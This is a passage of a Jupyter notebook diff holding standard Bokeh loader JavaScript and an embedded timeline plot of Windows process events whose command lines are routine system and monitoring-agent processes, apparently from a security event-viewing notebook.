" // register the mime type if in Jupyter Notebook environment and previously unregistered\n", + " if (root.Jupyter !== undefined) {\n", + " var events = require('base/js/events');\n", + " var OutputArea = require('notebook/js/outputarea').OutputArea;\n", + "\n", + " if (OutputArea.prototype.mime_types().indexOf(EXEC_MIME_TYPE) == -1) {\n", + " register_renderer(events, OutputArea);\n", + " }\n", + " }\n", + "\n", + " \n", + " if (typeof (root._bokeh_timeout) === \"undefined\" || force === true) {\n", + " root._bokeh_timeout = Date.now() + 5000;\n", + " root._bokeh_failed_load = false;\n", + " }\n", + "\n", + " var NB_LOAD_WARNING = {'data': {'text/html':\n", + " \"
\\n\"+\n", + " \"

\\n\"+\n", + " \"BokehJS does not appear to have successfully loaded. If loading BokehJS from CDN, this \\n\"+\n", + " \"may be due to a slow or bad network connection. Possible fixes:\\n\"+\n", + " \"

\\n\"+\n", + " \"
    \\n\"+\n", + " \"
  • re-rerun `output_notebook()` to attempt to load from CDN again, or
    • \\n\"+\n", + " \"
  • use INLINE resources instead, as so:
    • \\n\"+\n", + " \"
\\n\"+\n", + " \"\\n\"+\n", + " \"from bokeh.resources import INLINE\\n\"+\n", + " \"output_notebook(resources=INLINE)\\n\"+\n", + " \"\\n\"+\n", + " \"
\"}};\n", + "\n", + " function display_loaded() {\n", + " var el = document.getElementById(\"1831\");\n", + " if (el != null) {\n", + " el.textContent = \"BokehJS is loading...\";\n", + " }\n", + " if (root.Bokeh !== undefined) {\n", + " if (el != null) {\n", + " el.textContent = \"BokehJS \" + root.Bokeh.version + \" successfully loaded.\";\n", + " }\n", + " } else if (Date.now() < root._bokeh_timeout) {\n", + " setTimeout(display_loaded, 100)\n", + " }\n", + " }\n", + "\n", + "\n", + " function run_callbacks() {\n", + " try {\n", + " root._bokeh_onload_callbacks.forEach(function(callback) {\n", + " if (callback != null)\n", + " callback();\n", + " });\n", + " } finally {\n", + " delete root._bokeh_onload_callbacks\n", + " }\n", + " console.debug(\"Bokeh: all callbacks have finished\");\n", + " }\n", + "\n", + " function load_libs(css_urls, js_urls, callback) {\n", + " if (css_urls == null) css_urls = [];\n", + " if (js_urls == null) js_urls = [];\n", + "\n", + " root._bokeh_onload_callbacks.push(callback);\n", + " if (root._bokeh_is_loading > 0) {\n", + " console.debug(\"Bokeh: BokehJS is being loaded, scheduling callback at\", now());\n", + " return null;\n", + " }\n", + " if (js_urls == null || js_urls.length === 0) {\n", + " run_callbacks();\n", + " return null;\n", + " }\n", + " console.debug(\"Bokeh: BokehJS not loaded, scheduling load and callback at\", now());\n", + " root._bokeh_is_loading = css_urls.length + js_urls.length;\n", + "\n", + " function on_load() {\n", + " root._bokeh_is_loading--;\n", + " if (root._bokeh_is_loading === 0) {\n", + " console.debug(\"Bokeh: all BokehJS libraries/stylesheets loaded\");\n", + " run_callbacks()\n", + " }\n", + " }\n", + "\n", + " function on_error() {\n", + " console.error(\"failed to load \" + url);\n", + " }\n", + "\n", + " for (var i = 0; i < css_urls.length; i++) {\n", + " var url = css_urls[i];\n", + " const element = document.createElement(\"link\");\n", + " element.onload = on_load;\n", + " element.onerror = on_error;\n", + " element.rel = \"stylesheet\";\n", + " element.type = \"text/css\";\n", + " element.href = url;\n", + " console.debug(\"Bokeh: injecting link tag for BokehJS stylesheet: \", url);\n", + " document.body.appendChild(element);\n", + " }\n", + "\n", + " const hashes = {\"https://cdn.bokeh.org/bokeh/release/bokeh-2.1.1.min.js\": \"kLr4fYcqcSpbuI95brIH3vnnYCquzzSxHPU6XGQCIkQRGJwhg0StNbj1eegrHs12\", \"https://cdn.bokeh.org/bokeh/release/bokeh-widgets-2.1.1.min.js\": \"xIGPmVtaOm+z0BqfSOMn4lOR6ciex448GIKG4eE61LsAvmGj48XcMQZtKcE/UXZe\", \"https://cdn.bokeh.org/bokeh/release/bokeh-tables-2.1.1.min.js\": \"Dc9u1wF/0zApGIWoBbH77iWEHtdmkuYWG839Uzmv8y8yBLXebjO9ZnERsde5Ln/P\", \"https://cdn.bokeh.org/bokeh/release/bokeh-gl-2.1.1.min.js\": \"cT9JaBz7GiRXdENrJLZNSC6eMNF3nh3fa5fTF51Svp+ukxPdwcU5kGXGPBgDCa2j\"};\n", + "\n", + " for (var i = 0; i < js_urls.length; i++) {\n", + " var url = js_urls[i];\n", + " var element = document.createElement('script');\n", + " element.onload = on_load;\n", + " element.onerror = on_error;\n", + " element.async = false;\n", + " element.src = url;\n", + " if (url in hashes) {\n", + " element.crossOrigin = \"anonymous\";\n", + " element.integrity = \"sha384-\" + hashes[url];\n", + " }\n", + " console.debug(\"Bokeh: injecting script tag for BokehJS library: \", url);\n", + " document.head.appendChild(element);\n", + " }\n", + " };\n", + "\n", + " function inject_raw_css(css) {\n", + " const element = document.createElement(\"style\");\n", + " element.appendChild(document.createTextNode(css));\n", + " document.body.appendChild(element);\n", + " }\n", + "\n", + " \n", + " var js_urls = [\"https://cdn.bokeh.org/bokeh/release/bokeh-2.1.1.min.js\", \"https://cdn.bokeh.org/bokeh/release/bokeh-widgets-2.1.1.min.js\", \"https://cdn.bokeh.org/bokeh/release/bokeh-tables-2.1.1.min.js\", \"https://cdn.bokeh.org/bokeh/release/bokeh-gl-2.1.1.min.js\"];\n", + " var css_urls = [];\n", + " \n", + "\n", + " var inline_js = [\n", + " function(Bokeh) {\n", + " Bokeh.set_log_level(\"info\");\n", + " },\n", + " function(Bokeh) {\n", + " \n", + " \n", + " }\n", + " ];\n", + "\n", + " function run_inline_js() {\n", + " \n", + " if (root.Bokeh !== undefined || force === true) {\n", + " \n", + " for (var i = 0; i < inline_js.length; i++) {\n", + " inline_js[i].call(root, root.Bokeh);\n", + " }\n", + " if (force === true) {\n", + " display_loaded();\n", + " }} else if (Date.now() < root._bokeh_timeout) {\n", + " setTimeout(run_inline_js, 100);\n", + " } else if (!root._bokeh_failed_load) {\n", + " console.log(\"Bokeh: BokehJS failed to load within specified timeout.\");\n", + " root._bokeh_failed_load = true;\n", + " } else if (force !== true) {\n", + " var cell = $(document.getElementById(\"1831\")).parents('.cell').data().cell;\n", + " cell.output_area.append_execute_result(NB_LOAD_WARNING)\n", + " }\n", + "\n", + " }\n", + "\n", + " if (root._bokeh_is_loading === 0) {\n", + " console.debug(\"Bokeh: BokehJS loaded, going straight to plotting\");\n", + " run_inline_js();\n", + " } else {\n", + " load_libs(css_urls, js_urls, function() {\n", + " console.debug(\"Bokeh: BokehJS plotting callback run at\", now());\n", + " run_inline_js();\n", + " });\n", + " }\n", + "}(window));" + ], + "application/vnd.bokehjs_load.v0+json": "\n(function(root) {\n function now() {\n return new Date();\n }\n\n var force = true;\n\n if (typeof root._bokeh_onload_callbacks === \"undefined\" || force === true) {\n root._bokeh_onload_callbacks = [];\n root._bokeh_is_loading = undefined;\n }\n\n \n\n \n if (typeof (root._bokeh_timeout) === \"undefined\" || force === true) {\n root._bokeh_timeout = Date.now() + 5000;\n root._bokeh_failed_load = false;\n }\n\n var NB_LOAD_WARNING = {'data': {'text/html':\n \"
\\n\"+\n \"

\\n\"+\n \"BokehJS does not appear to have successfully loaded. If loading BokehJS from CDN, this \\n\"+\n \"may be due to a slow or bad network connection. Possible fixes:\\n\"+\n \"

\\n\"+\n \"
    \\n\"+\n \"
  • re-rerun `output_notebook()` to attempt to load from CDN again, or
    • \\n\"+\n \"
  • use INLINE resources instead, as so:
    • \\n\"+\n \"
\\n\"+\n \"\\n\"+\n \"from bokeh.resources import INLINE\\n\"+\n \"output_notebook(resources=INLINE)\\n\"+\n \"\\n\"+\n \"
\"}};\n\n function display_loaded() {\n var el = document.getElementById(\"1831\");\n if (el != null) {\n el.textContent = \"BokehJS is loading...\";\n }\n if (root.Bokeh !== undefined) {\n if (el != null) {\n el.textContent = \"BokehJS \" + root.Bokeh.version + \" successfully loaded.\";\n }\n } else if (Date.now() < root._bokeh_timeout) {\n setTimeout(display_loaded, 100)\n }\n }\n\n\n function run_callbacks() {\n try {\n root._bokeh_onload_callbacks.forEach(function(callback) {\n if (callback != null)\n callback();\n });\n } finally {\n delete root._bokeh_onload_callbacks\n }\n console.debug(\"Bokeh: all callbacks have finished\");\n }\n\n function load_libs(css_urls, js_urls, callback) {\n if (css_urls == null) css_urls = [];\n if (js_urls == null) js_urls = [];\n\n root._bokeh_onload_callbacks.push(callback);\n if (root._bokeh_is_loading > 0) {\n console.debug(\"Bokeh: BokehJS is being loaded, scheduling callback at\", now());\n return null;\n }\n if (js_urls == null || js_urls.length === 0) {\n run_callbacks();\n return null;\n }\n console.debug(\"Bokeh: BokehJS not loaded, scheduling load and callback at\", now());\n root._bokeh_is_loading = css_urls.length + js_urls.length;\n\n function on_load() {\n root._bokeh_is_loading--;\n if (root._bokeh_is_loading === 0) {\n console.debug(\"Bokeh: all BokehJS libraries/stylesheets loaded\");\n run_callbacks()\n }\n }\n\n function on_error() {\n console.error(\"failed to load \" + url);\n }\n\n for (var i = 0; i < css_urls.length; i++) {\n var url = css_urls[i];\n const element = document.createElement(\"link\");\n element.onload = on_load;\n element.onerror = on_error;\n element.rel = \"stylesheet\";\n element.type = \"text/css\";\n element.href = url;\n console.debug(\"Bokeh: injecting link tag for BokehJS stylesheet: \", url);\n document.body.appendChild(element);\n }\n\n const hashes = {\"https://cdn.bokeh.org/bokeh/release/bokeh-2.1.1.min.js\": \"kLr4fYcqcSpbuI95brIH3vnnYCquzzSxHPU6XGQCIkQRGJwhg0StNbj1eegrHs12\", \"https://cdn.bokeh.org/bokeh/release/bokeh-widgets-2.1.1.min.js\": \"xIGPmVtaOm+z0BqfSOMn4lOR6ciex448GIKG4eE61LsAvmGj48XcMQZtKcE/UXZe\", \"https://cdn.bokeh.org/bokeh/release/bokeh-tables-2.1.1.min.js\": \"Dc9u1wF/0zApGIWoBbH77iWEHtdmkuYWG839Uzmv8y8yBLXebjO9ZnERsde5Ln/P\", \"https://cdn.bokeh.org/bokeh/release/bokeh-gl-2.1.1.min.js\": \"cT9JaBz7GiRXdENrJLZNSC6eMNF3nh3fa5fTF51Svp+ukxPdwcU5kGXGPBgDCa2j\"};\n\n for (var i = 0; i < js_urls.length; i++) {\n var url = js_urls[i];\n var element = document.createElement('script');\n element.onload = on_load;\n element.onerror = on_error;\n element.async = false;\n element.src = url;\n if (url in hashes) {\n element.crossOrigin = \"anonymous\";\n element.integrity = \"sha384-\" + hashes[url];\n }\n console.debug(\"Bokeh: injecting script tag for BokehJS library: \", url);\n document.head.appendChild(element);\n }\n };\n\n function inject_raw_css(css) {\n const element = document.createElement(\"style\");\n element.appendChild(document.createTextNode(css));\n document.body.appendChild(element);\n }\n\n \n var js_urls = [\"https://cdn.bokeh.org/bokeh/release/bokeh-2.1.1.min.js\", \"https://cdn.bokeh.org/bokeh/release/bokeh-widgets-2.1.1.min.js\", \"https://cdn.bokeh.org/bokeh/release/bokeh-tables-2.1.1.min.js\", \"https://cdn.bokeh.org/bokeh/release/bokeh-gl-2.1.1.min.js\"];\n var css_urls = [];\n \n\n var inline_js = [\n function(Bokeh) {\n Bokeh.set_log_level(\"info\");\n },\n function(Bokeh) {\n \n \n }\n ];\n\n function run_inline_js() {\n \n if (root.Bokeh !== undefined || force === true) {\n \n for (var i = 0; i < inline_js.length; i++) {\n inline_js[i].call(root, root.Bokeh);\n }\n if (force === true) {\n display_loaded();\n }} else if (Date.now() < root._bokeh_timeout) {\n setTimeout(run_inline_js, 100);\n } else if (!root._bokeh_failed_load) {\n console.log(\"Bokeh: BokehJS failed to load within specified timeout.\");\n root._bokeh_failed_load = true;\n } else if (force !== true) {\n var cell = $(document.getElementById(\"1831\")).parents('.cell').data().cell;\n cell.output_area.append_execute_result(NB_LOAD_WARNING)\n }\n\n }\n\n if (root._bokeh_is_loading === 0) {\n console.debug(\"Bokeh: BokehJS loaded, going straight to plotting\");\n run_inline_js();\n } else {\n load_libs(css_urls, js_urls, function() {\n console.debug(\"Bokeh: BokehJS plotting callback run at\", now());\n run_inline_js();\n });\n }\n}(window));" + }, + "metadata": {}, + "output_type": "display_data" + }, + { + "data": { + "text/html": [ + "\n", + "\n", + "\n", + "\n", + "\n", + "\n", + "
\n" + ] + }, + "metadata": {}, + "output_type": "display_data" + }, + { + "data": { + "application/javascript": [ + "(function(root) {\n", + " function embed_document(root) {\n", + " \n", + " var docs_json = {\"a952a802-01f3-47f3-b9f7-896411732d6d\":{\"roots\":{\"references\":[{\"attributes\":{\"children\":[{\"id\":\"1834\"},{\"id\":\"1866\"}]},\"id\":\"1908\",\"type\":\"Column\"},{\"attributes\":{\"dimensions\":\"width\"},\"id\":\"1853\",\"type\":\"WheelZoomTool\"},{\"attributes\":{},\"id\":\"1917\",\"type\":\"Selection\"},{\"attributes\":{\"days\":[1,15]},\"id\":\"1939\",\"type\":\"DaysTicker\"},{\"attributes\":{\"below\":[{\"id\":\"1845\"}],\"center\":[{\"id\":\"1848\"},{\"id\":\"1852\"},{\"id\":\"1907\"}],\"left\":[{\"id\":\"1849\"}],\"min_border_left\":50,\"plot_height\":250,\"plot_width\":900,\"renderers\":[{\"id\":\"1900\"},{\"id\":\"1905\"}],\"title\":{\"id\":\"1835\"},\"toolbar\":{\"id\":\"1859\"},\"x_range\":{\"id\":\"1837\"},\"x_scale\":{\"id\":\"1841\"},\"y_range\":{\"id\":\"1839\"},\"y_scale\":{\"id\":\"1843\"}},\"id\":\"1834\",\"subtype\":\"Figure\",\"type\":\"Plot\"},{\"attributes\":{},\"id\":\"1843\",\"type\":\"LinearScale\"},{\"attributes\":{\"data_source\":{\"id\":\"1902\"},\"glyph\":{\"id\":\"1903\"},\"hover_glyph\":null,\"muted_glyph\":null,\"nonselection_glyph\":{\"id\":\"1904\"},\"selection_glyph\":null,\"view\":{\"id\":\"1906\"}},\"id\":\"1905\",\"type\":\"GlyphRenderer\"},{\"attributes\":{\"months\":[0,1,2,3,4,5,6,7,8,9,10,11]},\"id\":\"1940\",\"type\":\"MonthsTicker\"},{\"attributes\":{\"num_minor_ticks\":5,\"tickers\":[{\"id\":\"1933\"},{\"id\":\"1934\"},{\"id\":\"1935\"},{\"id\":\"1936\"},{\"id\":\"1937\"},{\"id\":\"1938\"},{\"id\":\"1939\"},{\"id\":\"1940\"},{\"id\":\"1941\"},{\"id\":\"1942\"},{\"id\":\"1943\"},{\"id\":\"1944\"}]},\"id\":\"1878\",\"type\":\"DatetimeTicker\"},{\"attributes\":{\"months\":[0,2,4,6,8,10]},\"id\":\"1941\",\"type\":\"MonthsTicker\"},{\"attributes\":{\"source\":{\"id\":\"1902\"}},\"id\":\"1906\",\"type\":\"CDSView\"},{\"attributes\":{\"start\":-1.0},\"id\":\"1839\",\"type\":\"Range1d\"},{\"attributes\":{\"days\":[\"%m-%d %H:%M\"],\"hours\":[\"%H:%M:%S\"],\"milliseconds\":[\"%H:%M:%S.%3N\"],\"minutes\":[\"%H:%M:%S\"],\"seconds\":[\"%H:%M:%S\"]},\"id\":\"1895\",\"type\":\"DatetimeTickFormatter\"},{\"attributes\":{\"fill_alpha\":{\"value\":0.1},\"fill_color\":{\"value\":\"navy\"},\"line_alpha\":{\"value\":0.1},\"line_color\":{\"value\":\"navy\"},\"x\":{\"field\":\"TimeGenerated\"},\"y\":{\"field\":\"y_index\"}},\"id\":\"1887\",\"type\":\"Circle\"},{\"attributes\":{\"months\":[0,2,4,6,8,10]},\"id\":\"1928\",\"type\":\"MonthsTicker\"},{\"attributes\":{},\"id\":\"1944\",\"type\":\"YearsTicker\"},{\"attributes\":{\"fill_alpha\":{\"value\":0.1},\"fill_color\":{\"value\":\"navy\"},\"line_alpha\":{\"value\":0.1},\"line_color\":{\"value\":\"navy\"},\"size\":{\"units\":\"screen\",\"value\":10},\"x\":{\"field\":\"TimeGenerated\"},\"y\":{\"field\":\"y_index\"}},\"id\":\"1899\",\"type\":\"Diamond\"},{\"attributes\":{},\"id\":\"1850\",\"type\":\"BasicTicker\"},{\"attributes\":{},\"id\":\"1855\",\"type\":\"ResetTool\"},{\"attributes\":{\"axis_label\":\"Event Time\",\"formatter\":{\"id\":\"1895\"},\"ticker\":{\"id\":\"1846\"}},\"id\":\"1845\",\"type\":\"DatetimeAxis\"},{\"attributes\":{},\"id\":\"1918\",\"type\":\"UnionRenderers\"},{\"attributes\":{\"fill_alpha\":{\"value\":0.5},\"fill_color\":{\"value\":\"navy\"},\"line_alpha\":{\"value\":0.5},\"line_color\":{\"value\":\"navy\"},\"size\":{\"units\":\"screen\",\"value\":10},\"x\":{\"field\":\"TimeGenerated\"},\"y\":{\"field\":\"y_index\"}},\"id\":\"1898\",\"type\":\"Diamond\"},{\"attributes\":{\"active_drag\":\"auto\",\"active_inspect\":\"auto\",\"active_multi\":null,\"active_scroll\":\"auto\",\"active_tap\":\"auto\",\"tools\":[{\"id\":\"1833\"},{\"id\":\"1853\"},{\"id\":\"1854\"},{\"id\":\"1855\"},{\"id\":\"1856\"},{\"id\":\"1857\"}]},\"id\":\"1859\",\"type\":\"Toolbar\"},{\"attributes\":{\"data_source\":{\"id\":\"1832\"},\"glyph\":{\"id\":\"1898\"},\"hover_glyph\":null,\"muted_glyph\":null,\"nonselection_glyph\":{\"id\":\"1899\"},\"selection_glyph\":null,\"view\":{\"id\":\"1901\"}},\"id\":\"1900\",\"type\":\"GlyphRenderer\"},{\"attributes\":{\"mantissas\":[1,2,5],\"max_interval\":500.0,\"num_minor_ticks\":0},\"id\":\"1920\",\"type\":\"AdaptiveTicker\"},{\"attributes\":{\"formatter\":{\"id\":\"1883\"},\"ticker\":{\"id\":\"1878\"}},\"id\":\"1877\",\"type\":\"DatetimeAxis\"},{\"attributes\":{\"below\":[{\"id\":\"1877\"},{\"id\":\"1882\"}],\"center\":[{\"id\":\"1880\"}],\"plot_height\":120,\"plot_width\":900,\"renderers\":[{\"id\":\"1888\"}],\"title\":{\"id\":\"1867\"},\"toolbar\":{\"id\":\"1881\"},\"toolbar_location\":null,\"x_range\":{\"id\":\"1869\"},\"x_scale\":{\"id\":\"1873\"},\"y_range\":{\"id\":\"1871\"},\"y_scale\":{\"id\":\"1875\"}},\"id\":\"1866\",\"subtype\":\"Figure\",\"type\":\"Plot\"},{\"attributes\":{\"source\":{\"id\":\"1832\"}},\"id\":\"1889\",\"type\":\"CDSView\"},{\"attributes\":{\"dimensions\":\"width\"},\"id\":\"1857\",\"type\":\"PanTool\"},{\"attributes\":{\"overlay\":{\"id\":\"1858\"}},\"id\":\"1854\",\"type\":\"BoxZoomTool\"},{\"attributes\":{\"days\":[1,4,7,10,13,16,19,22,25,28]},\"id\":\"1937\",\"type\":\"DaysTicker\"},{\"attributes\":{\"align\":\"right\",\"text\":\"Drag the middle or edges of the selection box to change the range in the main chart\",\"text_font_size\":{\"value\":\"10px\"}},\"id\":\"1882\",\"type\":\"Title\"},{\"attributes\":{\"months\":[0,4,8]},\"id\":\"1942\",\"type\":\"MonthsTicker\"},{\"attributes\":{\"formatter\":{\"id\":\"1912\"},\"ticker\":{\"id\":\"1850\"},\"visible\":false},\"id\":\"1849\",\"type\":\"LinearAxis\"},{\"attributes\":{\"end\":1550096453857.7002,\"start\":1550091469649.3},\"id\":\"1837\",\"type\":\"Range1d\"},{\"attributes\":{\"num_minor_ticks\":10,\"tickers\":[{\"id\":\"1920\"},{\"id\":\"1921\"},{\"id\":\"1922\"},{\"id\":\"1923\"},{\"id\":\"1924\"},{\"id\":\"1925\"},{\"id\":\"1926\"},{\"id\":\"1927\"},{\"id\":\"1928\"},{\"id\":\"1929\"},{\"id\":\"1930\"},{\"id\":\"1931\"}]},\"id\":\"1846\",\"type\":\"DatetimeTicker\"},{\"attributes\":{},\"id\":\"1856\",\"type\":\"SaveTool\"},{\"attributes\":{\"base\":60,\"mantissas\":[1,2,5,10,15,20,30],\"max_interval\":1800000.0,\"min_interval\":1000.0,\"num_minor_ticks\":0},\"id\":\"1921\",\"type\":\"AdaptiveTicker\"},{\"attributes\":{\"base\":24,\"mantissas\":[1,2,4,6,8,12],\"max_interval\":43200000.0,\"min_interval\":3600000.0,\"num_minor_ticks\":0},\"id\":\"1922\",\"type\":\"AdaptiveTicker\"},{\"attributes\":{\"months\":[0,1,2,3,4,5,6,7,8,9,10,11]},\"id\":\"1927\",\"type\":\"MonthsTicker\"},{\"attributes\":{\"line_color\":\"red\",\"line_dash\":[6],\"line_width\":2,\"x\":{\"field\":\"x\"},\"y\":{\"field\":\"y\"}},\"id\":\"1903\",\"type\":\"Line\"},{\"attributes\":{\"mantissas\":[1,2,5],\"max_interval\":500.0,\"num_minor_ticks\":0},\"id\":\"1933\",\"type\":\"AdaptiveTicker\"},{\"attributes\":{\"text\":\"Range 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time\",\"text_font_size\":\"8pt\",\"x\":1550095422000.0,\"y\":0,\"y_offset\":10},\"id\":\"1907\",\"type\":\"Label\"},{\"attributes\":{\"axis\":{\"id\":\"1845\"},\"minor_grid_line_alpha\":0.3,\"minor_grid_line_color\":\"navy\",\"ticker\":null},\"id\":\"1848\",\"type\":\"Grid\"},{\"attributes\":{\"axis\":{\"id\":\"1849\"},\"dimension\":1,\"grid_line_color\":null,\"ticker\":null},\"id\":\"1852\",\"type\":\"Grid\"},{\"attributes\":{\"days\":[\"%m-%d %H:%M\"],\"hours\":[\"%H:%M:%S\"],\"milliseconds\":[\"%H:%M:%S.%3N\"],\"minutes\":[\"%H:%M:%S\"],\"seconds\":[\"%H:%M:%S\"]},\"id\":\"1883\",\"type\":\"DatetimeTickFormatter\"},{\"attributes\":{\"callback\":null,\"formatters\":{\"Tooltip\":\"printf\"},\"tooltips\":[[\"NewProcessName\",\"@NewProcessName\"],[\"CommandLine\",\"@CommandLine\"],[\"EventID\",\"@EventID\"]]},\"id\":\"1833\",\"type\":\"HoverTool\"},{\"attributes\":{\"months\":[0,6]},\"id\":\"1930\",\"type\":\"MonthsTicker\"},{\"attributes\":{\"base\":24,\"mantissas\":[1,2,4,6,8,12],\"max_interval\":43200000.0,\"min_interval\":3600000.0,\"num_minor_ticks\":0},\"id\":\"1935\",\"type\":\"AdaptiveTicker\"},{\"attributes\":{},\"id\":\"1873\",\"type\":\"LinearScale\"},{\"attributes\":{\"fill_color\":{\"value\":\"navy\"},\"line_color\":{\"value\":\"navy\"},\"x\":{\"field\":\"TimeGenerated\"},\"y\":{\"field\":\"y_index\"}},\"id\":\"1886\",\"type\":\"Circle\"},{\"attributes\":{\"data\":{\"CommandLine\":[\"\\\"cmd\\\"\",\"\\\\??\\\\C:\\\\Windows\\\\system32\\\\conhost.exe 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Files\\\\Microsoft\\nMonitoring Agent\\\\Agent\\\\Health Service State\\\\ICT\\n2\\\\work\\\\localhost.mof\\\" \\\"C:\\\\Program Files\\\\Microsoft\\nMonitoring Agent\\\\Agent\\\\Health Service State\\\\ICT\\n2\\\\work\\\"\",\"\\\\??\\\\C:\\\\Windows\\\\system32\\\\conhost.exe 0xffffffff\\n-ForceV1\",\"C:\\\\Windows\\\\system32\\\\MusNotification.exe Display\",\"C:\\\\Windows\\\\servicing\\\\TrustedInstaller.exe\",\"C:\\\\Windows\\\\winsxs\\\\amd64_microsoft-windows-servicin\\ngstack_31bf3856ad364e35_10.0.14393.2602_none_7ee60\\n20e2207416d\\\\TiWorker.exe -Embedding\",\"C:\\\\Windows\\\\system32\\\\wbem\\\\wmiprvse.exe -secured\\n-Embedding\",\"\\\"C:\\\\Windows\\\\system32\\\\cscript.exe\\\" /nologo\\n\\\"MonitorKnowledgeDiscovery.vbs\\\"\",\"\\\\??\\\\C:\\\\Windows\\\\system32\\\\conhost.exe 0xffffffff\\n-ForceV1\",\"\\\"C:\\\\Windows\\\\system32\\\\cscript.exe\\\" /nologo\\n\\\"MonitorKnowledgeDiscovery.vbs\\\"\",\"\\\\??\\\\C:\\\\Windows\\\\system32\\\\conhost.exe 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0xffffffff\\n-ForceV1\",\"C:\\\\Windows\\\\servicing\\\\TrustedInstaller.exe\",\"C:\\\\Windows\\\\winsxs\\\\amd64_microsoft-windows-servicin\\ngstack_31bf3856ad364e35_10.0.14393.2602_none_7ee60\\n20e2207416d\\\\TiWorker.exe -Embedding\",\"\\\"C:\\\\Windows\\\\system32\\\\cscript.exe\\\" /nologo\\n\\\"MonitorKnowledgeDiscovery.vbs\\\"\",\"\\\\??\\\\C:\\\\Windows\\\\system32\\\\conhost.exe 0xffffffff\\n-ForceV1\",\"\\\"CollectGuestLogs.exe\\\" -Mode:ga -FileName:C:\\\\Windo\\nwsAzure\\\\CollectGuestLogsTemp\\\\7a9d40f2-490e-4468-a8\\ncf-b7822b95614d.zip\",\"\\\\??\\\\C:\\\\Windows\\\\system32\\\\conhost.exe 0xffffffff\\n-ForceV1\",\"\\\"C:\\\\Windows\\\\system32\\\\cscript.exe\\\" /nologo\\n\\\"MonitorKnowledgeDiscovery.vbs\\\"\",\"\\\\??\\\\C:\\\\Windows\\\\system32\\\\conhost.exe 0xffffffff\\n-ForceV1\",\"\\\"C:\\\\Program Files\\\\Microsoft Monitoring\\nAgent\\\\Agent\\\\Health Service State\\\\ICT\\n2\\\\CMF-64/DesiredStateConfiguration\\\\DscRun.exe\\\"\\nGetInventory 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-secured\\n-Embedding\",\"\\\"C:\\\\Windows\\\\system32\\\\cscript.exe\\\" /nologo\\n\\\"MonitorKnowledgeDiscovery.vbs\\\"\",\"\\\\??\\\\C:\\\\Windows\\\\system32\\\\conhost.exe 0xffffffff\\n-ForceV1\",\"\\\"C:\\\\Windows\\\\system32\\\\cscript.exe\\\" /nologo\\n\\\"MonitorKnowledgeDiscovery.vbs\\\"\",\"\\\\??\\\\C:\\\\Windows\\\\system32\\\\conhost.exe 0xffffffff\\n-ForceV1\",\"\\\"C:\\\\Windows\\\\system32\\\\cscript.exe\\\" /nologo\\n\\\"MonitorKnowledgeDiscovery.vbs\\\"\",\"\\\\??\\\\C:\\\\Windows\\\\system32\\\\conhost.exe 0xffffffff\\n-ForceV1\",\"\\\"C:\\\\Windows\\\\system32\\\\cscript.exe\\\" /nologo\\n\\\"MonitorKnowledgeDiscovery.vbs\\\"\",\"\\\\??\\\\C:\\\\Windows\\\\system32\\\\conhost.exe 0xffffffff\\n-ForceV1\",\"\\\"C:\\\\Windows\\\\system32\\\\cscript.exe\\\" /nologo\\n\\\"MonitorKnowledgeDiscovery.vbs\\\"\",\"\\\\??\\\\C:\\\\Windows\\\\system32\\\\conhost.exe 0xffffffff\\n-ForceV1\",\"\\\"C:\\\\Windows\\\\system32\\\\cscript.exe\\\" /nologo\\n\\\"MonitorKnowledgeDiscovery.vbs\\\"\",\"\\\\??\\\\C:\\\\Windows\\\\system32\\\\conhost.exe 0xffffffff\\n-ForceV1\",\"\\\"C:\\\\Program Files\\n(x86)\\\\Google\\\\Update\\\\GoogleUpdate.exe\\\" /ua\\n/installsource scheduler\",\"\\\"C:\\\\Windows\\\\system32\\\\cscript.exe\\\" /nologo\\n\\\"MonitorKnowledgeDiscovery.vbs\\\"\",\"\\\\??\\\\C:\\\\Windows\\\\system32\\\\conhost.exe 0xffffffff\\n-ForceV1\",\"\\\"C:\\\\Windows\\\\system32\\\\cscript.exe\\\" /nologo\\n\\\"MonitorKnowledgeDiscovery.vbs\\\"\",\"\\\\??\\\\C:\\\\Windows\\\\system32\\\\conhost.exe 0xffffffff\\n-ForceV1\",\"\\\"C:\\\\Windows\\\\system32\\\\cscript.exe\\\" /nologo\\n\\\"MonitorKnowledgeDiscovery.vbs\\\"\",\"\\\\??\\\\C:\\\\Windows\\\\system32\\\\conhost.exe 0xffffffff\\n-ForceV1\",\"\\\"C:\\\\Program Files\\\\Microsoft Monitoring\\nAgent\\\\Agent\\\\Health Service State\\\\ICT\\n2\\\\CMF/DesiredStateConfiguration\\\\DscRun.exe\\\"\\nGetInventory \\\"C:\\\\Program Files\\\\Microsoft\\nMonitoring Agent\\\\Agent\\\\Health Service State\\\\ICT\\n2\\\\work\\\\localhost.mof\\\" \\\"C:\\\\Program Files\\\\Microsoft\\nMonitoring Agent\\\\Agent\\\\Health Service State\\\\ICT\\n2\\\\work\\\"\",\"\\\\??\\\\C:\\\\Windows\\\\system32\\\\conhost.exe 0xffffffff\\n-ForceV1\",\"\\\"C:\\\\Windows\\\\system32\\\\cscript.exe\\\" /nologo\\n\\\"MonitorKnowledgeDiscovery.vbs\\\"\",\"\\\\??\\\\C:\\\\Windows\\\\system32\\\\conhost.exe 0xffffffff\\n-ForceV1\",\"\\\"C:\\\\Windows\\\\system32\\\\cscript.exe\\\" /nologo\\n\\\"MonitorKnowledgeDiscovery.vbs\\\"\",\"\\\\??\\\\C:\\\\Windows\\\\system32\\\\conhost.exe 0xffffffff\\n-ForceV1\",\"\\\"C:\\\\Windows\\\\system32\\\\cscript.exe\\\" /nologo\\n\\\"MonitorKnowledgeDiscovery.vbs\\\"\",\"\\\\??\\\\C:\\\\Windows\\\\system32\\\\conhost.exe 0xffffffff\\n-ForceV1\",\"\\\"C:\\\\Windows\\\\system32\\\\cscript.exe\\\" /nologo\\n\\\"MonitorKnowledgeDiscovery.vbs\\\"\",\"\\\\??\\\\C:\\\\Windows\\\\system32\\\\conhost.exe 0xffffffff\\n-ForceV1\",\"\\\"C:\\\\Windows\\\\system32\\\\cscript.exe\\\" /nologo\\n\\\"MonitorKnowledgeDiscovery.vbs\\\"\",\"\\\\??\\\\C:\\\\Windows\\\\system32\\\\conhost.exe 0xffffffff\\n-ForceV1\",\"\\\"C:\\\\Windows\\\\system32\\\\cscript.exe\\\" /nologo\\n\\\"MonitorKnowledgeDiscovery.vbs\\\"\",\"\\\\??\\\\C:\\\\Windows\\\\system32\\\\conhost.exe 0xffffffff\\n-ForceV1\",\"\\\"C:\\\\Windows\\\\system32\\\\cscript.exe\\\" 